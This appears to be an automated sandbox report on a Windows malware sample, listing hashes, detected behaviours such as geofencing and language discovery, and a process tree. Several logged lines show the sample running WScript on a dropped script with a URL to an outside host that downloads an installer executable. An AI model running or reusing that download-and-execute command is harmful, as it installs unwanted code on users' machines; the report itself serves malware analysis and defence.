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Analysis
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max time kernel
95s -
max time network
96s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13/10/2024, 10:32
Static task
static1
Behavioral task
behavioral1
Sample
3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe
Resource
win7-20240903-en
General
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Target
3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe
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Size
184KB
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MD5
3f5936f8c4c1416eb39b4c3f5335c20c
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SHA1
3f82a1f53548fdddfa6aa54862f37fb3bab0c1ea
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SHA256
1575aef9498b17365cfd11088dd585b4a14b056b7c43abc6a5c83389fd87e572
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SHA512
ad0725153fa1c232640e62734e5b72454053a282378a0777d9e233b5b25104fabdbfbdbdac28385a0ed12e64d5c7d4d7288c034492a160c24ae5c69927990110
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3L:/7BSH8zUB+nGESaaRvoB7FJNndnS
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 4 4688 WScript.exe 20 1280 WScript.exe 24 4920 WScript.exe 41 432 WScript.exe 43 2148 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 3196 1540 WerFault.exe 82 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 1540 wrote to memory of 4688 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 85 PID 1540 wrote to memory of 4688 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 85 PID 1540 wrote to memory of 4688 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 85 PID 1540 wrote to memory of 1280 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 89 PID 1540 wrote to memory of 1280 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 89 PID 1540 wrote to memory of 1280 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 89 PID 1540 wrote to memory of 4920 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 91 PID 1540 wrote to memory of 4920 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 91 PID 1540 wrote to memory of 4920 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 91 PID 1540 wrote to memory of 432 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 99 PID 1540 wrote to memory of 432 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 99 PID 1540 wrote to memory of 432 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 99 PID 1540 wrote to memory of 2148 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 105 PID 1540 wrote to memory of 2148 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 105 PID 1540 wrote to memory of 2148 1540 3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\3f5936f8c4c1416eb39b4c3f5335c20c_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:4688
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:1280
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:4920
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:432
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf9470.js" http://www.djapp.info/?domain=rcDXgdudxA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgEFQ2K333LrcSBcSC5AosQUy-wm7otAI4nS08rUofZzdt C:\Users\Admin\AppData\Local\Temp\fuf9470.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2148
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1540 -s 14562⤵
- Program crash
PID:3196
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1540 -ip 15401⤵PID:2596
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76